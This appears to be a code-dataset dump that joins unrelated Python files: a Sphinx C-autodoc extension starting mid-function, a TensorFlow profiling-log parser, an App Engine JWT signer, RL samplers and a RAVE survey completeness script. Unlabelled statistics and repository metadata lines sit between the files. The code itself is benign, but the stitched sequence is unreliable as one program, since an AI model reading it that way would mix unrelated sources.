_, path, base = match.groups() # type: ignore except AttributeError: logger.warning( "invalid signature for auto%s (%r)" % (self.objtype, self.name), type="c_autodoc", ) return False parents: List[str] if path is None: parents = [] else: parents = path.rstrip(".").split(".") self.modname, self.objpath = self.resolve_name(fullname, parents, path, base) self.fullname = self.modname return True def resolve_name( self, modname: str, parents: List[str], path: Optional[str], base: str ) -> Tuple[str, List[str]]: """ Resolve the module and object name of the object to document. This can be derived in two ways: - Naked: Where the argument is only the file/module name `my_file.c` - Double colons: Where the argument to the directive is of the form `my_file.c::some_func`. Args: modname (str): The filename of the c file (module) parents (list): The list split('.') version of path. - The filename without the extension when naked argument is used. - Any parents when double colon argument is used. For example structs or unions of `my_struct.field_name` would have a parents entry of ['my_struct'] path (str): Two possible states: - None if `parents` is the empty list. - The ``'.'.join()`` version of `parents`, with a trailing ``.``. base (str): The name of the object to document. This will be None when the object to document is the c module Returns: tuple: (str, [str]) The module name, and the object names (if any). """ if base: return modname, parents + [base] return modname, [] def import_object(self, raiseerror: bool = False) -> bool: """Load the C file and build up the document structure. This will load the C file's documented structure into :attr:`object` Args: raiseerror (bool): Raise error, this is ignored for the c implementation as import errors don't happen. Returns: bool: True if the file was imported, false otherwise. """ for source_dir in self.env.config.c_autodoc_roots: filename = os.path.join(source_dir, self.get_real_modname()) # Prefixing with "/" will force "absolute" path which is relative # to the source directory. rel_filename, filename = self.env.relfn2path(f"/{filename}") if os.path.isfile(filename): break else: logger.warning( "Unable to find file, %s, in any of the directories %s " "all directories are relative to the top documentation source directory" % (self.get_real_modname(), self.env.config.c_autodoc_roots), location=(self.env.docname, self.directive.lineno), ) return False self.env.note_dependency(rel_filename) source_dict = getattr(self.env, "_viewcode_c_modules", {}) self.env._viewcode_c_modules = source_dict # type: ignore # TODO The :attr:`temp_data` is reset for each document ideally want to # use or make an attribute on `self.env` that is reset per run or just # not pickled. modules_dict = self.env.temp_data.setdefault("c:loaded_modules", {}) if filename not in modules_dict: with open(filename) as f: contents = [f.read()] # let extensions preprocess files self.env.app.emit("c-autodoc-pre-process", filename, contents) compilation_db = self.get_compilation_database() compilation_args = self.env.config.c_autodoc_compilation_args modules_dict[filename] = loader.load( filename, contents[0], compilation_db, compilation_args ) ast = json.loads(str(modules_dict[filename])) source_dict.setdefault( self.get_real_modname(), ViewCodeListing(contents[0], ast) ) self.module = modules_dict[filename] self.object = self.module self.object_name = self.name # objpath is set when double colons are used in :meth:`resolve_name`. # i.e. this is a node or sub-node in a module. if self.objpath: for obj in self.objpath: self.object_name = obj self.object = self.object.children[self.object_name] # type: ignore return True def get_compilation_database(self) -> Optional[str]: """ Get's the compilation database from the environment `c_autodoc_compilation_database` Returns: str: The full path to the compilation database to use. None if there is no compilation database. """ database = self.env.config.c_autodoc_compilation_database if not database: return None # Prefixing with "/" will force "absolute" path which is relative # to the source directory. _, filename = self.env.relfn2path(f"/{database}") if os.path.isfile(filename): return filename logger.warning( 'Compilation database "%s" not found.' % (filename,), location=(self.env.docname, self.directive.lineno), ) return None def get_doc(self, ignore: int = None) -> Optional[List[List[str]]]: """Decode and return lines of the docstring(s) for the object.""" docstring = self.object.get_doc() tab_width = self.directive.state.document.settings.tab_width return [prepare_docstring(docstring, ignore, tab_width)] def get_object_members(self, want_all: bool) -> Tuple[bool, List[Tuple[str, Any]]]: """Return `(members_check_module, members)` where `members` is a list of `(membername, member)` pairs of the members of *self.object*. If *want_all* is True, return all members. Else, only return those members given by *self.options.members* (which may also be none). """ if want_all: return False, list(self.object.children.items()) # The caller sets `want_all` if :attr:`options.members` is ALL, so it # should be safe to assume this is a list or None at this point. desired_members = self.options.members or [] object_members: List[Tuple[str, Any]] = [] for member in desired_members: if member in self.object.children: object_members.append((member, self.object.children[member])) else: logger.warning( 'Missing member "%s" in object "%s"' % (member, self.fullname), type="c_autodoc", ) return False, object_members def filter_members( # type: ignore[override] self, members: List[Tuple[str, Any]], want_all: bool ) -> List[Tuple[str, Any, bool]]: """Filter the given member list. :meth:`filter_members` is called *after* :meth:`get_object_members`, this means if `want_all` is False then only private members which were explicitly requested will be in this list. Only when `want_all` is True do we need to actually condition on private member. Members are skipped if - they are private (except if given explicitly or the private-members option is set) - they are undocumented (except if the undoc-members option is set) TODO not implemented yet. The user can override the skipping decision by connecting to the ``autodoc-skip-member`` event. """ ret = [] isattr = False for (membername, member) in members: if not want_all: ret.append((membername, member, isattr)) elif member.doc or self.options.undoc_members: if member.is_public() or self.options.private_members: ret.append((membername, member, isattr)) return ret def format_name(self) -> str: """Format the name of *self.object*. This normally should be something that can be parsed by the generated directive, but doesn't need to be (Sphinx will display it unparsed then). For things like functions and others this will include the return type. """ return self.object.format_name() def format_args(self, **kwargs: Any) -> str: """ Creates the parenthesis version of the function signature. i.e. this will be the `(int hello, int what)` portion of the header. """ return self.object.format_args(**kwargs) class CModuleDocumenter(CObjectDocumenter): """ This auto documenter will be registered as a directive named `autocmodule`, there may be a way to override the python `automodule`, just not sure yet... """ objtype = "cmodule" directivetype = "module" @classmethod def can_document_member( cls, member: Any, membername: str, isattr: bool, parent: Any ) -> bool: """ Modules are top levels so should never be included as a child of another c object. Parameters: member (object): The member item to document. This type is specific to the item being processed by autodoc. These instances will only attempt to process :class:`sphinx_c_autodoc.loader.CObjectDocumenter`. membername (str): The name of the item to document. For example if this is a function then this will be the name of the function, no return types, no arguments. isattr (bool): Is the member an attribute. This is unused for c documenation. parent (object): The parent item of this `member`. Returns: bool: True if this class can document the `member`. """ return False class CTypeDocumenter(CObjectDocumenter): """ The documenter for the autoctype directive. """ objtype = "ctype" directivetype = "type" def __init__( self, directive: DocumenterBridge, name: str, indent: str = "" ) -> None: """ Override the :attr:`directive` so that some post processing can be performed in :meth:`generate` """ super().__init__(directive, name, indent) self._original_directive = self.directive self.directive = DocumenterBridge( self.directive.env, self.directive.reporter, self.directive.genopt, self.directive.lineno, self.directive.state, ) def generate( self, more_content: Optional[StringList] = None, real_modname: Optional[str] = None, check_module: bool = False, all_members: bool = False, ) -> None: """ generate stuff """ super().generate( more_content=more_content, real_modname=real_modname, check_module=check_module, all_members=all_members, ) self._original_directive.result.append(self.consolidate_members()) def _find_member_directives(self, name: str) -> List[Tuple[str, str, int]]: """ Find all directive lines which start with `` ..c:<name>::``. Creates a sequence of: - The short name of the item documented by the directive. - The full signature of the item documented. - The line number in :attr:`directive.results`. For instnace a directive of ``..c:some_directive word1 word2 word3`` would result in ``word3`` being the short name and ``word1 word2 word3`` being the full signature. Args: name (str): The name of the directive(s) to search for. Returns: list(tuple(str, str, int)): The short name, the full signature, and the line in :attr:`directive.results` where the directive occured. """ members = [] directive_string = f".. c:{name}::" for line_no, line in enumerate(self.directive.result): if not line.startswith(self.indent): continue if line.lstrip().startswith(directive_string): _, signature = line.split(directive_string) # members may document array types so break on the brace # `int member_name [some_size][maybe_2nd_dimension]` type_and_name, *(_) = signature.strip().partition("[") sig_parts = type_and_name.strip().split() members.append((sig_parts[-1], signature, line_no)) return members def _remove_directive(self, line: int) -> StringList: """ Remove the directive which starts at `line_no` from :attr:`directive.results`. The locations in :attr:`directive.results` will be replaced with empty lines so that the total line count of :attr:`directive.results` is unaffected. Args: line (int): The starting line to remove the directive from. Returns: :class:`StringList`: The removed directive which started at `line_no` """ # Just need to do at least one more indentation than the actual # directive to not end up grabbing the next directive. directive_line = self.directive.result[line] block_indent = (len(directive_line) - len(directive_line.lstrip())) + 1 directive, _, _ = self.directive.result.get_indented( line, first_indent=0, block_indent=block_indent, strip_indent=False ) directive.disconnect() # Setting slices need viewlists/stringlists so just iterate through and # set indices which can take strings directive_length = len(directive) for line_no in range(line, line + directive_length): self.directive.result[line_no] = self.indent return directive @staticmethod def _merge_directives(directives: List[StringList]) -> StringList: """ The last directive heading will be used to represent the heading for the entire group of directives. Args: directives (list(StringList)): The list of directives to merge. Returns: StringList: One directive """ merged_heading = StringList() merged_directive = StringList() merged_options = StringList() for directive in directives: options, _, _ = directive.get_indented( 1, until_blank=True, strip_indent=False ) if options: merged_options.extend(options) del directive[1 : 1 + len(options)] directive_heading = directive[0] del directive[0] merged_directive.extend(directive) merged_heading = directive_heading merged_directive.insert(0, merged_options) merged_directive.insert(0, merged_heading, source=merged_directive.source(0)) return merged_directive def consolidate_members(self) -> StringList: """ Take any duplicate autodoc member directives and consolidate them into one directive. The subsequent contents of duplicate directives will be added as additional paragraphs on the first occurrence of the directive. Returns: StringList: The entire rst contents for this directive instance. """ # Grab any constructs that could be declared inside of a struct, union or enum. members = [] for sub_type in ("member", "struct", "union", "enumerator"): members += self._find_member_directives(sub_type) # Group all the items by their name. This sort logic here leverages the order # preservation that python sort has, in that napoleon documented constructs are # always "member" however the actual c constructs will come after as "struct" # or similar. members.sort(key=lambda m: m[0]) data_blocks = [] for _, member_group in groupby(members, lambda m: m[0]): start_line = len(self.directive.result) directives = [] for _, _, line in member_group: directives.append(self._remove_directive(line)) if line < start_line: start_line = line original_length = len(directives[-1]) merged_directive = self._merge_directives(directives) data_blocks.append((start_line, original_length, merged_directive)) data_blocks.sort() delta_length = 0 for line, original_length, directive in data_blocks: start = line + delta_length end = start + original_length self.directive.result[start:end] = directive delta_length += len(directive) - original_length return self.directive.result def format_name(self) -> str: """Format the name of *self.object*. Sphinx doesn't like the typedef keyword being in typedef signatures so strip them off here. """ raw_name = self.object.format_name() cleaned_name = raw_name.replace("typedef ", "") return cleaned_name class CStructDocumenter(CTypeDocumenter): """ The documenter for the autocstruct directive. """ objtype = "cstruct" directivetype = "struct" def filter_members( # type: ignore[override] self, members: List[Tuple[str, Any]], want_all: bool ) -> List[Tuple[str, Any, bool]]: """Filter the given member list. For structures if they are documented then all members provided are documented. """ ret = [] isattr = False for (membername, member) in members: ret.append((membername, member, isattr)) return ret class CEnumDocumenter(CTypeDocumenter): """ The documenter for the autocenum directive. """ objtype = "cenum" directivetype = "enum" class CUnionDocumenter(CStructDocumenter): """ The documenter for the autocunion directive. """ objtype = "cunion" directivetype = "union" class CMemberDocumenter(CObjectDocumenter): """ The documenter for the autocmember directive. This handles structure and union fields. """ objtype = "cmember" directivetype = "member" class CFunctionDocumenter(CObjectDocumenter): """ The documenter for the autocfunction directive. """ objtype = "cfunction" directivetype = "function" class CMacroDocumenter(CObjectDocumenter): """ The documenter for the autocmacro directive. """ objtype = "cmacro" directivetype = "macro" class CEnumeratorDocumenter(CObjectDocumenter): """ The documenter for the autocenumerator directive. These are enumerator constants, versus the enum (type). """ objtype = "cenumerator" directivetype = "enumerator" class CDataDocumenter(CObjectDocumenter): """ The documenter for the autocdata directive. """ objtype = "cdata" directivetype = "var" @classmethod def can_document_member( cls, member: Any, membername: str, isattr: bool, parent: Any ) -> bool: """ Parameters: member (object): The member item to document. This type is specific to the item being processed by autodoc. These classes will only attempt to process :class:`sphinx_c_autodoc.loader.CObjectDocumenter` members. membername (str): The name of the item to document. For example if this is a function then this will be the name of the function, no return types, no arguments. isattr (bool): Is the member an attribute. This is unused for c documenation. parent (object): The parent item of this `member`. Returns: bool: True if this class can document the `member`. """ # Handle the mapping of c land `variable` to sphinx land `data`. The c # domain in sphinx seems inconsistent the directive is called # ``.. c:var::``, yet the role is ``:c:data:``. return isinstance(parent, CObjectDocumenter) and member.type == "variable" class CModule(CObject): """ Module directive for C files """ has_content = True required_arguments = 1 object_type = "module" def run(self) -> nodes.Node: """ Not sure yet """ state = self.state node = nodes.section() rst = ViewList(self.content, "testing") # Parse the restructured text into nodes. state.nested_parse(rst, 0, node, match_titles=1) return node.children def setup(app: Sphinx) -> None: """ Setup function for registering this with sphinx """ app.require_sphinx("2.0") app.setup_extension("sphinx.ext.autodoc") app.add_autodocumenter(CModuleDocumenter) app.add_autodocumenter(CFunctionDocumenter) app.add_autodocumenter(CTypeDocumenter) app.add_autodocumenter(CStructDocumenter) app.add_autodocumenter(CUnionDocumenter) app.add_autodocumenter(CEnumDocumenter) app.add_autodocumenter(CMemberDocumenter) app.add_autodocumenter(CMacroDocumenter) app.add_autodocumenter(CEnumeratorDocumenter) app.add_autodocumenter(CDataDocumenter) app.add_directive_to_domain("c", "module", CModule) app.add_config_value("c_autodoc_roots", [""], "env") app.add_config_value("c_autodoc_compilation_database", None, "env") app.add_config_value("c_autodoc_compilation_args", [""], "env") app.add_event("c-autodoc-pre-process") patch_c_domain()

33.970475

109

0.619733

3,127

26,463

5.144867

0.195715

0.006837

0.005594

0.010629

0.206924

0.166087

0.157322

0.147626

0.126305

0

0.001821

0.2946

26,463

778

110

34.014139

0.86002

0.404943

0

0.167683

0

0.053337

0.009698

0

0.020566

0

1

0.067073

false

0

0.051829

0

0.32622

0

null

0

null

0

1

0

1

99b02eb168229b1ffb9c68b8ad493dabf5f9c87c

7,151

py

Python

tools/parse_log.py

KyleHai/DeepSpeech2

44884426e213b6d5440914882064c9142b6ea7a3

[ "BSD-3-Clause" ]

158

2018-03-28T21:58:07.000Z

2022-02-22T00:49:46.000Z

tools/parse_log.py

KyleHai/DeepSpeech2

44884426e213b6d5440914882064c9142b6ea7a3

[ "BSD-3-Clause" ]

35

2018-09-03T21:27:15.000Z

2019-05-11T02:17:49.000Z

tools/parse_log.py

KyleHai/DeepSpeech2

44884426e213b6d5440914882064c9142b6ea7a3

[ "BSD-3-Clause" ]

22

2017-09-21T07:47:30.000Z

2021-09-16T11:22:01.000Z

import fileinput as fin # funcs: def findValWithFormat(line): lines.append(line) taken = line.split(" ") raw_val = taken[-1] val = raw_val.split("/")[-1] val = val[0:-2] if 'us' in val: val = float(val[0:val.find('us')]) val = val/1000 else: val = float(val[0:val.find('ms')]) return val def getCellNum(line): cell_num = line[line.find(rnn_cell_string):line.find(rnn_cell_string) + len(rnn_cell_string) + 1] return cell_num def profRNNCell(line, rnncell_prof): cell_num = getCellNum(line) val = findValWithFormat(line) rnncell_prof[cell_num] += val # variables: lines = [] module_rnncell = "CustomRNNCell2" module_grad = 'gradients' num_rnn_layer = 7 rnn_cell_string = "cell_" module_rnn = 'rnn' module_conv1 = 'conv1' module_conv2 = 'conv2' module_softmax = 'softmax_linear' module_ctc = ['ctc_loss', 'CTCLoss'] module_bn = 'bn2' rnn_cells = [rnn_cell_string+str(i) for i in range(num_rnn_layer)] rnncell_f_prof = dict.fromkeys(rnn_cells) rnncell_b_prof = dict.fromkeys(rnn_cells) # prf estimator: for el in rnncell_f_prof: rnncell_f_prof[el] = 0.0 for el in rnncell_b_prof: rnncell_b_prof[el] = 0.0 overall_cost = 0.0 profs ={\ 'rnn_trans_f_prof': 0.0, \ 'rnn_trans_b_prof': 0.0, \ 'rnn_reshape_f_prof': 0.0, \ 'rnn_reshape_b_prof': 0.0, \ 'rnn_ReverseSequence_f_prof': 0.0, \ 'rnn_ReverseSequence_b_prof': 0.0, \ 'conv1_f_prof': 0.0, \ 'conv1_b_prof': 0.0, \ 'bn1_f_prof': 0.0, \ 'bn1_b_prof': 0.0, \ 'relu1_f_prof': 0.0, \ 'relu1_b_prof': 0.0, \ 'conv2_f_prof': 0.0, \ 'conv2_b_prof': 0.0, \ 'bn2_f_prof': 0.0, \ 'bn2_b_prof': 0.0, \ 'relu2_f_prof': 0.0, \ 'relu2_b_prof': 0.0, \ 'softmax_f_prof': 0.0, \ 'softmax_b_prof': 0.0, \ 'ctc_f_prof': 0.0, \ 'ctc_b_prof': 0.0 \ } with open('timing_memory.log', 'r') as f: for line in f: if len(line) > 3: if ((line[3] != ' ') or 'Adam/update_' in line) and ('flops' not in line): # flops is not considered # conv1 if (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line): val = findValWithFormat(line) profs['conv1_f_prof'] += val if (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line): val = findValWithFormat(line) profs['conv1_b_prof'] += val # BN1 if (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line): val = findValWithFormat(line) profs['bn1_f_prof'] += val if (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line): val = findValWithFormat(line) profs['bn1_b_prof'] += val # Relu1 if (module_grad not in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line): val = findValWithFormat(line) profs['relu1_f_prof'] += val if (module_grad in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line): val = findValWithFormat(line) profs['relu1_b_prof'] += val # conv2 if (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line): val = findValWithFormat(line) profs['conv2_f_prof'] += val if (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line): val = findValWithFormat(line) profs['conv2_b_prof'] += val # BN2 if (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line): val = findValWithFormat(line) profs['bn2_f_prof'] += val if (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line): val = findValWithFormat(line) profs['bn2_b_prof'] += val # Relu2 if (module_grad not in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line): val = findValWithFormat(line) profs['relu2_f_prof'] += val if (module_grad in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line): val = findValWithFormat(line) profs['relu2_b_prof'] += val #rnn transpose if (module_grad not in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line): val = findValWithFormat(line) profs['rnn_trans_f_prof'] += val if (module_grad in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line): val = findValWithFormat(line) profs['rnn_trans_b_prof'] += val #rnn reshape if (module_grad not in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line): val = findValWithFormat(line) profs['rnn_reshape_f_prof'] += val if (module_grad in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line): val = findValWithFormat(line) profs['rnn_reshape_b_prof'] += val #rnn reshape if (module_grad not in line) and (module_rnn in line) and ('ReverseSequence' in line): val = findValWithFormat(line) profs['rnn_ReverseSequence_f_prof'] += val if (module_grad in line) and (module_rnn in line) and ('ReverseSequence' in line): val = findValWithFormat(line) profs['rnn_ReverseSequence_b_prof'] += val # rnn forward profiling by cell if (module_grad not in line) and (module_rnncell in line): profRNNCell(line, rnncell_f_prof) # rnn backward profiling by cell if (module_grad in line) and (module_rnncell in line): profRNNCell(line, rnncell_b_prof) # softmax if (module_grad not in line) and (module_softmax in line): val = findValWithFormat(line) profs['softmax_f_prof'] += val if (module_grad in line) and (module_softmax in line): val = findValWithFormat(line) profs['softmax_b_prof'] += val # ctc for c in module_ctc: if (c in line) and (module_grad not in line): val = findValWithFormat(line) profs['ctc_f_prof'] += val if (c in line) and (module_grad in line): val = findValWithFormat(line) profs['ctc_b_prof'] +=val for key, val in dict.iteritems(rnncell_f_prof): overall_cost += val print "(RNN forward by cell) " + str(key) + ": " + str(val) + "ms" for key, val in dict.iteritems(rnncell_b_prof): overall_cost += val print "(RNN backward by cell) " + str(key) + ": " + str(val) + "ms" # Profiling result for k in dict.fromkeys(profs): overall_cost += profs[k] print k + ": " + str(profs[k]) + "ms" print "overall: " + str(overall_cost) + "ms" prf_file1 = open('prf1.txt', 'w') for k in dict.fromkeys(profs): prf_file1.write("%s:%f\n" % (k, profs[k])) prf_file1.close() # write including modules prf_file2 = open('prf2.txt', 'w') for el in lines: prf_file2.write("%s\n" % el) prf_file2.close()

32.504545

141

0.66704

1,152

7,151

3.939236

0.097222

0.126928

0.132878

0.132217

0.708903

0.655796

0.619216

0.56699

0.560379

0

0.021005

0.201091

7,151

219

142

32.652968

0.773324

0.033142

0

0.173077

0

0.148837

0.015116

0

null

0

0.00641

null

0.025641

0

null

0

null

0

1

0

1

99b0ba7f03b2766d824e986ab5fb96ab8c0fa7e0

928

py

Python

api_client/auth.py

ciandt-d1/cvtool-ingestion-pipeline

10602668fe5980a577032c85f16f0a12262d5ea6

[ "Apache-2.0" ]

null

api_client/auth.py

ciandt-d1/cvtool-ingestion-pipeline

10602668fe5980a577032c85f16f0a12262d5ea6

[ "Apache-2.0" ]

null

api_client/auth.py

ciandt-d1/cvtool-ingestion-pipeline

10602668fe5980a577032c85f16f0a12262d5ea6

[ "Apache-2.0" ]

null

import base64 import json import time from google.appengine.api import app_identity DEFAULT_SERVICE_ACCOUNT = app_identity.get_service_account_name() def generate_jwt(): """Generates a signed JSON Web Token using the Google App Engine default service account.""" now = int(time.time()) header_json = json.dumps({ "typ": "JWT", "alg": "RS256" }) payload_json = json.dumps({ 'iat': now, "exp": now + 3600, 'iss': DEFAULT_SERVICE_ACCOUNT, 'sub': DEFAULT_SERVICE_ACCOUNT, 'aud': 'ingestion_pipeline', "email": DEFAULT_SERVICE_ACCOUNT }) headerAndPayload = '{}.{}'.format(base64.urlsafe_b64encode(header_json), base64.urlsafe_b64encode(payload_json)) (key_name, signature) = app_identity.sign_blob(headerAndPayload) signed_jwt = '{}.{}'.format(headerAndPayload, base64.urlsafe_b64encode(signature)) return signed_jwt

27.294118

116

0.677802

106

928

5.679245

0.490566

0.139535

0.174419

0

0.028378

0.202586

928

33

117

28.121212

0.785135

0.092672

0

0.086957

1

0

0.074519

0

1

0.043478

false

0

0.173913

0

0.26087

0

null

0

1

0

null

0

1

99b421b8fc3c77a78c8b42d4e7d8dc9eab6fdc76

4,767

py

Python

SimpleSAC/sampler.py

chethus/CQL

9cceb35fe220ae517bc87ae219704d6eca409566

[ "MIT" ]

null

SimpleSAC/sampler.py

chethus/CQL

9cceb35fe220ae517bc87ae219704d6eca409566

[ "MIT" ]

null

SimpleSAC/sampler.py

chethus/CQL

9cceb35fe220ae517bc87ae219704d6eca409566

[ "MIT" ]

null

import numpy as np from collections import defaultdict from .utils import flatten_dict class StepSampler(object): def __init__(self, env, max_traj_length=1000): self.max_traj_length = max_traj_length self._env = env self._traj_steps = 0 self._current_observation = self.env.reset() def sample(self, policy, n_steps, deterministic=False, replay_buffer=None): traj = defaultdict(list) traj_info = defaultdict(list) for _ in range(n_steps): self._traj_steps += 1 observation = self._current_observation obs_is_arr = type(observation).__module__ == np.__name__ if obs_is_arr: observations_batch = np.expand_dims(observation, 0) elif isinstance(observation, dict): observations_batch = {k: np.expand_dims(v, 0) for k, v in observation.items()} else: raise Exception('Only array and dictionary observations supported.') action = policy( observations_batch, deterministic=deterministic )[0, :] next_observation, reward, done, info = self.env.step(action) transition = dict( **flatten_dict(dict(observations=observation)), actions=action, rewards=reward, **flatten_dict(dict(next_observations=next_observation)), dones=done, ) for k, v in transition.items(): traj[k].append(v) for k, v in info.items(): traj_info[k].append(v) if replay_buffer is not None: replay_buffer.add_sample( observation, action, reward, next_observation, done ) self._current_observation = next_observation if done or self._traj_steps >= self.max_traj_length: self._traj_steps = 0 self._current_observation = self.env.reset() traj = flatten_dict(traj) for k, v in traj.items(): traj[k] = np.array(v, dtype=np.float32) return traj, traj_info @property def env(self): return self._env class TrajSampler(object): def __init__(self, env, max_traj_length=1000): self.max_traj_length = max_traj_length self._env = env def sample(self, policy, n_trajs, deterministic=False, replay_buffer=None, reset_id=None): trajs, traj_infos = [], [] for _ in range(n_trajs): traj, traj_info = defaultdict(list), defaultdict(list) if reset_id is not None: assert callable(getattr(self.env, 'reset_specific')), 'Specific resets not supported.' self.env.reset() observation, _ = self.env.env.env.reset_specific(reset_id) else: observation = self.env.reset() for _ in range(self.max_traj_length): obs_is_arr = type(observation).__module__ == np.__name__ if obs_is_arr: observations_batch = np.expand_dims(observation, 0) elif isinstance(observation, dict): observations_batch = {k: np.expand_dims(v, 0) for k, v in observation.items()} else: raise Exception('Only array and dictionary observations supported.') action = policy( observations_batch, deterministic=deterministic )[0, :] next_observation, reward, done, info = self.env.step(action) transition = dict( **flatten_dict(dict(observations=observation)), actions=action, rewards=reward, **flatten_dict(dict(next_observations=next_observation)), dones=done, ) for k, v in transition.items(): traj[k].append(v) for k, v in info.items(): traj_info[k].append(v) if replay_buffer is not None: replay_buffer.add_sample( observation, action, reward, next_observation, done ) observation = next_observation if done: break for k, v in traj.items(): traj[k] = np.array(v, dtype=np.float32) for k, v in traj_info.items(): traj_info[k] = np.array(v, dtype=np.float32) trajs.append(traj) traj_infos.append(traj_info) return trajs, traj_infos @property def env(self): return self._env

37.242188

102

0.550451

513

4,767

4.869396

0.177388

0.039231

0.018014

0.02522

0.743395

0.663331

0.629303

0

0.007578

0.363331

4,767

128

103

37.242188

0.815486

0

0.650943

0

0.029782

0

0.009434

1

0.056604

false

0

0.028302

0.018868

0.141509

0

null

0

1

0

null

0

1

99b439817790c7610ae8a7e8b0e92d675cac1d00

2,156

py

Python

example.py

Til-Piffl/RAVE_SelectionFunction

0971f2578f9a474c1f0997109057b1967b276c3d

[ "MIT" ]

null

example.py

Til-Piffl/RAVE_SelectionFunction

0971f2578f9a474c1f0997109057b1967b276c3d

[ "MIT" ]

null

example.py

Til-Piffl/RAVE_SelectionFunction

0971f2578f9a474c1f0997109057b1967b276c3d

[ "MIT" ]

null

import pyRAVE import numpy as np import healpy # Load RAVE data RAVE = pyRAVE.readCSV('RAVE_DR4.csv') # ======================================================= # Selection criteria by the user user_select = np.ones(len(RAVE['rave_obs_id']),dtype=bool) # all entries user_select = (RAVE['snr_k']>20) &\ (RAVE['ehrv'] < 8) &\ (RAVE['correlationcoeff'] >= 10) &\ (abs(RAVE['correctionrv']) < 10) # ======================================================= # Compute approximated I magnitude RAVE['I2MASS'] = pyRAVE.computeI2MASS(RAVE['jmag_2mass'],RAVE['kmag_2mass']) # Weed out duplicates unique = pyRAVE.findUnique(RAVE['raveid'],RAVE['rave_obs_id'],RAVE['snr_k']) print np.sum(unique==False), " entries lost from repeat observations." # Weed out targets that are inconsistent with the color cut colour_cut = pyRAVE.JmK_color_cut(RAVE['b'], RAVE['jmag_2mass'], RAVE['kmag_2mass']) print np.sum(unique&(colour_cut==False)), " entries lost from colour cut." # Remove sky regions that were not systematically observed footprint = pyRAVE.apply_footprint(RAVE['l'],RAVE['b'],RAVE['ra'],RAVE['de']) print np.sum(unique&colour_cut&(footprint==False)), \ " entries outside footprint" print "-------------------" print np.sum(unique & colour_cut & footprint & (user_select==False)),\ " stars lost from user defined selection." use = unique & colour_cut & footprint & user_select print "-------------------" print np.sum(use), " stars left." # Compute HEALPIX indices RAVE['healpix_ids'] = pyRAVE.computeHEALPIX_ids(RAVE['l'], RAVE['b']) # Evaluate completeness in (ra,dec,I2mass) bins comp,Irange = pyRAVE.computeCompleteness(RAVE['healpix_ids'][use], RAVE['I2MASS'][use]) # Write into ASCII file ofname = 'RAVE_completeness_new.txt' f = open(ofname,'w') for I in Irange: f.write("%.2f "%I) f.write("\n") for i in range(len(comp)): for j in range(np.shape(comp)[1]): f.write("%.5f "%(comp[i][j])) f.write("\n") f.close()

32.179104

77

0.583952

268

2,156

4.593284

0.429104

0.043867

0.040617

0.05199

0.153534

0.05524

0

0.011072

0.204082

2,156

66

78

32.666667

0.706294

0.19898

0

0.102564

0

0.227671

0.014594

0

null

0

0.076923

null

0.25641

0

null

0

null

0

1

0

1

99b6b0110cc7ef6710b3af92dbc9337bbeb8fdbb

942

py

Python

planner/section.py

ksu-web-dev/planner

1aa7f50b2b8c1dda3dccf12e59ca169f19049d18

[ "MIT" ]

null

planner/section.py

ksu-web-dev/planner

1aa7f50b2b8c1dda3dccf12e59ca169f19049d18

[ "MIT" ]

null

planner/section.py

ksu-web-dev/planner

1aa7f50b2b8c1dda3dccf12e59ca169f19049d18

[ "MIT" ]

null

import dataclasses import time @dataclasses.dataclass class Section: department: str = '' course_number: int = 0 full_name: str = '' type: str = '' instructor: str = '' section_letter: str = '' section_number: int = 0 start_time: time.time = None end_time: time.time = None facility: str = '' basis: str = '' units_min: int = 0 units_max: int = 0 days: int = 0 def __post_init__(self): if self.start_time is str: self.start_time = time.strptime(self.start_time, "%H:%M") if self.end_time is str: self.end_time = time.strptime(self.end_time, "%H:%M") def to_tuple(self): data = dataclasses.asdict(self) if self.start_time: data['start_time'] = self.start_time.strftime("%H:%M") if self.end_time: data['end_time'] = self.end_time.strftime("%H:%M") return tuple(data.values())

24.153846

69

0.58811

127

942

4.15748

0.330709

0.119318

0.123106

0.060606

0.128788

0.056818

0

0.007396

0.282378

942

38

70

24.789474

0.773669

0

0.04034

0

1

0.066667

false

0

0.066667

0

0.666667

0

null

0

null

0

1

0

1

99bb94bdf7cb1735398ab3a3a859a7f3ba4af38f

1,548

py

Python

app.py

dcshoecousa/MimiWork

fdbb41163ac1216a8854c36ac8328fe8cc61a2d3

[ "MIT" ]

null

app.py

dcshoecousa/MimiWork

fdbb41163ac1216a8854c36ac8328fe8cc61a2d3

[ "MIT" ]

null

app.py

dcshoecousa/MimiWork

fdbb41163ac1216a8854c36ac8328fe8cc61a2d3

[ "MIT" ]

null

